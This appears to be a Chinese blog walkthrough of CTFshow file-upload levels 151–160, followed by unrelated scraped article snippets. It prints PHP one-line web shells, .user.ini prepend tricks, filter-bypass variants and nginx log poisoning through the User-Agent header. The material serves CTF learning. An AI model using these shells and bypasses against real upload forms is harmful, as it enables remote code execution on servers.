CTFshow之文件上传web入门151关-161关解密。包教包会!!!!
这段时间一直在搞文件上传相关的知识,正好把ctf的题目写了写,也算是给自字做个总结!
不过ctf有一个缺点就是所有的测试全部是黑盒测试,无法从代码层面和大家解释,我找个时间把upload-labs靶场做一做给大家讲讲白盒的代码审计!
一、实验准备
1.ctf网站:
www.ctf.show
2.工具:
burpsuite抓包工具、hackbar工具(如果大家没有可以私我)、firefox(火狐浏览器)
二、实验过程
(一)第151关 -- 前端验证
前提:我们已知此处可以上传图片类型文件(或者右键查看网站源码可以看见只允许.png文件)
对于前端验证,我们常用的有两种方法进行绕过:
1.在右键检查->设置处启用禁止js
不过此方法不建议使用,因为我们有时候虽然能够绕过,但是当网页含有大量使用js编写的逻辑功能时,会导致网页部分功能瘫痪!
汗颜,ctf也失效了,所以还是老老实实使用第二种方法

2.将后门以.jpg/.png/.gif等允许格式发送,使用bp抓包修改后缀

上传成功!

但是此时可能会有小可爱问呐:哎哎哎,你咋知道就是前端验证呢?说出你的证据!
我们右键查看网页源码,查看到js源码过滤逻辑,只允许我们上传.png文件

3.利用后门文件
一句话木马,上下两种POST括号内参数无论带不带引号均可以:
<?php @eval($_POST['ws'])?>
<?php @eval($_POST[ws])?>
对于上传成功的后门代码,我们有两种方法去利用(本文中我们统一使用第二种方法进行演示):
(1)通过蚁剑连接寻找flag文件
payload:
https://cfc70c23-fd28-45cf-b79f-5c80ebe03e70.challenge.ctf.show/
upload/1.php
连接密码(即post中所填内容):
ws
(2)直接通过hackbar发送post包利用php内置system()函数执行
post data:ws=system("ls ../");

post data:ws=system("tac ../flag.php");

成功!
(二)第152关 -- 不严谨的后端验证
1.上传后门及分析
此处考察我们content-type验证为:image/png、image/gif、image/jpg
传输正确文件抓包,content-type为image/png

发送一句话木马1.php,修改content-type值为:image/png,但是没有包
此处注意一下,我直接上传1.php文件发现无法通过,定睛一看才发现前端验证都没通过,汗颜!上传1.png的木马抓包修改成1.php文件

上传成功!
2.利用后门
与151关类似,我们使用第二种方法,通过hackbar直接发包利用函数的方式获取flag
payload:
https://8ee848c0-130e-4d4c-a316-2c8f5e26d731.challenge.ctf.show/upload/1.php
post data:ws=system('ls ../');
post data:ws=system("tac ../flag.php");
成功!
(三)第153关 -- 利用php中.user.ini文件进行解析
我们尝试使用151关和152关的思路进行解题,发现无法实现,继而想到后端是否过滤大小写,抓包后将1.png文件改成1.pHp,发现能够上传成功,但是无法利用
突然崩溃,但是!.user.ini文件出现了,正如apache服务中的.htaccess文件!
1. .user.ini文件特性
当网站进行扫描时,会将.user.ini文件指向路径的内容包含在首页文件处(如index.php、index.html等),使用参数auto_prepend_file(包含至首页文件头部)和auto_append_file(包含在首页文件尾部)进行配置
例如:auto_prepend_file=1.png //将1.png文件内容包含在首页文件中,“=”后紧跟需要包含文件路径
所以,本题的解题思路:
先将.user.ini文件上传至upload目录处,并且在其中写入auto_prepend_file=1.png,紧接着上传1.png格式一句话代码,最后访问payload即可
2.上传.user.ini文件(使用bp中repaeater重发器功能进行上传)
内容:auto_prepend_file=1.png
上传成功
3.上传1.png格式一句话木马
上传成功!
4.利用
首先访问..upload/index.php触发.user.ini文件将1.png内容写入index.php中
paylaod:https://26af1829-9bfb-4bd6-ad55-ea24bb694ac1.challenge.ctf.show/upload/index.php
其次操作如上述两关
(四)第154关 -- 内容过滤
执行思路如153关,但是在上传1.png文件时注意所过滤的内容
1.上传.user.ini文件
(具体不在进行演示与上述153关相同)
2.上传1.png木马文件寻找过滤内容
过滤内容:php
经过多次尝试发包,当文件内容不包含php字眼时可以上传成功,所以过滤内容为php
所以我们的问题变成如何在不写入php字眼时传入后门?提供方式如下:
paylaod:<?=eval($_POST['ws']);?>
上传成功
3.利用后门
是骡子是马我们拉出来遛一遛,进行前述关卡利用操作
首先访问首页文件触发.user.ini将1.png内容写入,触发后门
payload:https://8d5042ac-a58e-46a4-82cf-90dd07ccc04a.challenge.ctf.show/upload/index.php
post data:ws=system("ls ../");
post data:ws=system("tac ../flag.php");
成功!
(五)第155关 -- 内容过滤
整体思路与154关一样,只是过滤内容不一样,所以我们此关着重关注测试所过滤的内容!
1.上传.user.ini文件
内容:auto_prepend_file=1.png
2.测试过滤内容
发现仅仅去掉php即可成功发送(妈呀,那不是直接和154关一样啦!)
过滤内容:php
paylaod:<?=eval($_POST['ws']);?>
3.利用(与154一致)
访问../upload/index.php触发->寻找flag.php文件所在位置->查看flag.php文件内容
成功!
-------------------------------我是漂亮的分界线---------------------------------
(六)156关 -- 内容过滤
由于ctfshow中一再强调关卡难度逐级递增,所以我们尝试上述关卡中的方法
1.上传.user.ini文件
内容:auto_prepend_file=1.png
上传成功!
2.上传后门1.png文件
尝试过滤内容:
内容是否为:php 不是
是否为:POST、eval? 不是
经过多次测试发现发现过滤内容是:[
所以问题转变成:如何在不使用[符号的同时上传后门
payload:
<?=eval($_POST{'ws'});?>
在php代码中可以使用“{}”代替“[]”,所以后门内容可以改写成如上
上传成功!
3.利用后门
首先访问../upload/index.php将1.png内容写入index.php --> 开始利用后门
payload:
https://9c809923-7bd3-456a-b3bb-a754ec208124.challenge.ctf.show/upload/index.php
post data:
ws=system("ls ../");
post data:
ws=system("tac ../flag.php");

(七)157关 -- 内容过滤
处理思路与前面相同,首先上传.user.ini文件 --> 上传1.png文件判断过滤内容 -> 利用漏洞
1.上传.user.ini文件
内容:auto_prepend_file=1.png

2.上传1.png文件
判断过滤内容:[和;
payload:
<?=system('tac ../fl*')?>
直接使用调用内部函数system(),fl*中*表示通配符,即所有以fl开头的文件,所以本关不在利用后门漏洞而是访问包含文件index.php执行函数

3.利用
由于1.png中内容写入在../upload/index.php中,所以我们直接访问此路径即可执行函数
payload:
https://ff5b7999-7759-4737-9adf-2b2e4d01e19b.challenge.ctf.show/upload/index.php

成功!
(八)158关 -- 内容过滤
依旧三件套:上传.user.ini文件 -> 上传1.png文件判断过滤内容 -> 利用
1.上传.user.ini文件
内容:auto_prepend_file=1.png

2.上传1.png文件
妈呀,直接使用上一关payload直接过了
payload:
<?=system('tac ../fl*')?>

3.利用
payload:
https://41702df0-be1b-4d38-9aa8-6d30dd8f4fc4.challenge.ctf.show/upload/

(九)159关 -- 内容过滤
依旧三件套:上传.user.ini文件 -> 上传1.png文件判断过滤内容 -> 利用
1.上传.user.ini文件
内容:auto_prepend_file=1.png

2.上传1.png文件
上一关payload:
<?=system('tac ../fl*')?>
上传上一关payload发现过滤内容进一步为:(


这下好了,连函数也没有办法执行了,看来只能如此了,上反引号``,在linux操作系统系统中我们可以使用反引号包裹命令去执行,而之前我们所有获取结果的操作都是使用命令得到,所以使用反引号与我们目的不谋而合!
paylaod:
<?=`tac ../fl*`?>

3.利用
思路与上一关类似
payload:
https://1ad340f5-edcc-47a6-a780-8c952656afb4.challenge.ctf.show/upload

(十)160关 -- 内容过滤
三剑客思路如上
1.上传.user.ini文件
内容:auto_prepend_file=1.png

2.上传1.png文件
继续发送上一关的payload发现无法进行利用
并且 . 和 ` 都被过滤了


看来祸不单行,只能使出我最后的杀手锏!文件日志出来吧!
思路:众所周知,日志文件中一般会记录访问者的ua头,所以我们利用这一点,通过ua头向日志中注入后门代码,再将日志文件路径包含在上传的1.png文件中,又因为1.png会被.user.ini文件触发包含在index.php文件中,所以我们访问index.php可以使后门生效
上传1.png,熟知linux系统日志存放位置,又此时过滤log字眼,所以使用.进行连接
payload:
<?=include"var/lo"."g/nginx/access.lo"."g"?>

我们访问看是否能查看日志
paylaod:
http://0734d5a2-6623-454a-890d-d95f9b33bfbc.challenge.ctf.show/upload/

在ua头处写入后门,取名2.php
payload:
<?php eval($_POST['ws']);?>

发现后门代码没有被加进去,我们改变策略,使用:<?=`tac ../fl*`?>


相关文章:
CTFshow之文件上传web入门151关-161关解密。包教包会!!!!
这段时间一直在搞文件上传相关的知识,正好把ctf的题目写了写,也算是给自字做个总结! 不过ctf有一个缺点就是所有的测试全部是黑盒测试,无法从代码层面和大家解释,我找个时间把upload-labs靶场做一做给大家讲讲白盒的代…...
【学习记录】服务器转发使用tensorboard
场景 代码在服务器上运行,想使用tensorboard查看训练的过程。 但是服务器上不能直接访问地址,所以要转发端口到本地,从而在本地网页中能够打开tensorboard。 参考:https://zhuanlan.zhihu.com/p/680596384 这时我们需要建立本地…...
类型转换之显式转换
显式转换——>手动处理,强制转换 括号强转 作用:一般情况下,将高精度的类型转换为低精度。 语法:变量类型 变量名 (变量类型)变量; 注意:精度问题,范围问题。 括号强转&#x…...
Mybatis多表查询,报错:Column ‘id‘ in field list is ambiguous
错误原因: Mybatis 多表查询时,多个表有相同名字的字段,比如 id,名字重复,没有指定对应的表名。 有两个地方需要注意:(1)将其中一个重复字段的 Mybatis的 column 修改为其他的名字。(2)字段加上对应的表名…...
PyCharm面板ctrl+鼠标滚轮放大缩小代码
1.【File】➡【Settings】 2.点击【Keymap】,在右边搜索框中搜incre,双击出现的【Increase Font Size】 3.在弹出的提示框中选择【Add Mouse Shortcut】 4.弹出下面的提示框后,键盘按住【ctrl】,并且上滑鼠标滚轮。然后点击【O…...
【Qt】数据库(一)SQLITE创建、增删查改
填坑1:如何连续插入 汇总SQlite语句 创建表格:create table <table_name> (f1 type1, f2 type2,…); 增:insert into <table_name> values (value1, value2,…); 改:update <table_name> set <f1value1>,…...
【模拟面试问答】力扣165题:比较版本号(逐个比较与双指针法详解及模拟面试问答)
在本篇文章中,我们将详细解读力扣第165题“比较版本号”。通过学习本篇文章,读者将掌握如何使用多种方法来解决这一问题,并了解相关的复杂度分析和模拟面试问答。每种方法都将配以详细的解释和ASCII图解,以便于理解。 问题描述 …...
用PhpStudy在本地电脑搭建WordPress网站教程(2024版)
对新手来说,明白了建站3要素后,如果直接购买域名、空间去建站,因为不熟练,反复测试主题、框架、插件等费时费力,等网站建成可能要两三个月,白白损失这段时间的建站费用。那么新手怎么建测试网站来练手呢&am…...
高中数学:平面向量-题型总结及解题思路梳理
一、知识点及解题思路梳理 高中,2/3的向量题目是坐标向量题,1/3是几何向量题。但是,这1/3的几何向量题可以转换成坐标向量题。 二、练习 例题1 几何型向量题 例题2...
【玩转google云】Google Cloud Platform (GCP) (WAF)详解
目录 引言 一、什么是Web Application Firewall? 二、GCP WAF简介 三、GCP WAF的主要功能...
前端开发工程师——数据可视化
canvas canvas绘制线段 <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge"><meta name"viewport" content"widthd…...
【代码随想录训练营】【Day 35】【贪心-2】| Leetcode 122, 55, 45
【代码随想录训练营】【Day 35】【贪心-2】| Leetcode 122, 55, 45 需强化知识点 贪心:跳跃游戏 题目 122. 买卖股票的最佳时机 II 动态规划贪心:只要股票第二天涨了,前一天就买,第二就买 class Solution:def maxProfit(sel…...
【深度学习】ultralytics, yolo seg,实例分割图绘制,核对yolo seg 的txt标记对不对
这段代码的作用是从指定路径读取图像和标签文件,然后在图像上绘制分割区域和相关点,并保存最终的图像。以下是每个函数的具体作用及其解释: read_labels(label_path): 读取指定路径的标签文件。标签文件的每一行表示一个物体的分割信息&#…...
如何保证员工在精益变革中始终保持积极的态度?
在当今日新月异的商业环境中,企业为了保持竞争力,需要不断寻求创新和变革。精益变革作为一种提升效率和质量的有效手段,已逐渐成为企业转型升级的关键。然而,变革往往伴随着挑战和不确定性,如何保证员工在精益变革中始…...
【Java面试】三、Redis篇(下)
文章目录 1、抢券场景2、Redis分布式锁3、Redisson实现分布式锁4、Redisson实现的分布式锁是可重入锁5、Redisson实现分布式锁下的主从一致性6、面试 1、抢券场景 正常思路: 代码实现: 比如优惠券数量为1。正常情况下:用户A的请求过来&a…...
GpuMall智算云:QwenLM/Qwen1.5/Qwen1.5-7B-Chat
Qwen 是阿里巴巴集团 Qwen 团队的大型语言模型和大型多模态模型系列,现在大型语言模型已经升级到 Qwen1.5 版本。 GpuMall智算云 | 省钱、好用、弹性。租GPU就上GpuMall,面向AI开发者的GPU云平台 无论是语言模型还是多模态模型,都在大规模的多语言和多模…...
CentOS6.5 下编译 FreeSWITCH 1.2.23 版本
命题作文,慢慢来,一边做,一边记录。 老古董了,查资料很不容易,但朋友说不着急,这很好。 生命的意义在于折腾,不是吗? 先下载 CentOS6.5, 查了下资料,最后…...
2024年03月 Python(三级)真题解析#中国电子学会#全国青少年软件编程等级考试
Python等级考试(1~6级)全部真题・点这里 一、单选题(共25题,共50分) 第1题 在Python中,hex(2023)的功能是?( ) A:将十进制数2023转化成十六进制数 B:将十进制数2023转化成八进制数 C:将十六进制数2023转化成十进制数 D:将八进制数2023转化成十进制数 答案:A …...
Redis篇 数据的编码方式和单线程模型
编码方式和单线程模型 一.redis中的数据类型二. Redis中查询编码方式命令三. 单线程模型四. 经典面试题,redis为何这么快?什么是IO多路复用? 一.redis中的数据类型 在redis中,数据类型大致分为5种 1.字符串类型 2.哈希 3.列表 4.集合 5.有序集合 redis底层在实现这些数据结构…...
(delphi11最新学习资料) Object Pascal 学习笔记---第13章第4节 (内存管理和接口)
13.4 内存管理和接口 在第11章中,我介绍了接口的内存管理的关键要素。与对象不同,接口是受管理且具有引用计数。如我所提到的,接口引用会增加所引用对象的引用计数,但您可以声明接口引用为弱引用以禁用引用计数(但…...
DeepSeek 赋能智慧能源:微电网优化调度的智能革新路径
目录 一、智慧能源微电网优化调度概述1.1 智慧能源微电网概念1.2 优化调度的重要性1.3 目前面临的挑战 二、DeepSeek 技术探秘2.1 DeepSeek 技术原理2.2 DeepSeek 独特优势2.3 DeepSeek 在 AI 领域地位 三、DeepSeek 在微电网优化调度中的应用剖析3.1 数据处理与分析3.2 预测与…...
日语学习-日语知识点小记-构建基础-JLPT-N4阶段(33):にする
日语学习-日语知识点小记-构建基础-JLPT-N4阶段(33):にする 1、前言(1)情况说明(2)工程师的信仰2、知识点(1) にする1,接续:名词+にする2,接续:疑问词+にする3,(A)は(B)にする。(2)復習:(1)复习句子(2)ために & ように(3)そう(4)にする3、…...
质量体系的重要
质量体系是为确保产品、服务或过程质量满足规定要求,由相互关联的要素构成的有机整体。其核心内容可归纳为以下五个方面: 🏛️ 一、组织架构与职责 质量体系明确组织内各部门、岗位的职责与权限,形成层级清晰的管理网络…...
Java多线程实现之Thread类深度解析
Java多线程实现之Thread类深度解析 一、多线程基础概念1.1 什么是线程1.2 多线程的优势1.3 Java多线程模型 二、Thread类的基本结构与构造函数2.1 Thread类的继承关系2.2 构造函数 三、创建和启动线程3.1 继承Thread类创建线程3.2 实现Runnable接口创建线程 四、Thread类的核心…...
Mysql中select查询语句的执行过程
目录 1、介绍 1.1、组件介绍 1.2、Sql执行顺序 2、执行流程 2.1. 连接与认证 2.2. 查询缓存 2.3. 语法解析(Parser) 2.4、执行sql 1. 预处理(Preprocessor) 2. 查询优化器(Optimizer) 3. 执行器…...
Go 并发编程基础:通道(Channel)的使用
在 Go 中,Channel 是 Goroutine 之间通信的核心机制。它提供了一个线程安全的通信方式,用于在多个 Goroutine 之间传递数据,从而实现高效的并发编程。 本章将介绍 Channel 的基本概念、用法、缓冲、关闭机制以及 select 的使用。 一、Channel…...
【Redis】笔记|第8节|大厂高并发缓存架构实战与优化
缓存架构 代码结构 代码详情 功能点: 多级缓存,先查本地缓存,再查Redis,最后才查数据库热点数据重建逻辑使用分布式锁,二次查询更新缓存采用读写锁提升性能采用Redis的发布订阅机制通知所有实例更新本地缓存适用读多…...
GitFlow 工作模式(详解)
今天再学项目的过程中遇到使用gitflow模式管理代码,因此进行学习并且发布关于gitflow的一些思考 Git与GitFlow模式 我们在写代码的时候通常会进行网上保存,无论是github还是gittee,都是一种基于git去保存代码的形式,这样保存代码…...
消息队列系统设计与实践全解析
文章目录 🚀 消息队列系统设计与实践全解析🔍 一、消息队列选型1.1 业务场景匹配矩阵1.2 吞吐量/延迟/可靠性权衡💡 权衡决策框架 1.3 运维复杂度评估🔧 运维成本降低策略 🏗️ 二、典型架构设计2.1 分布式事务最终一致…...
Java数组Arrays操作全攻略
Arrays类的概述 Java中的Arrays类位于java.util包中,提供了一系列静态方法用于操作数组(如排序、搜索、填充、比较等)。这些方法适用于基本类型数组和对象数组。 常用成员方法及代码示例 排序(sort) 对数组进行升序…...
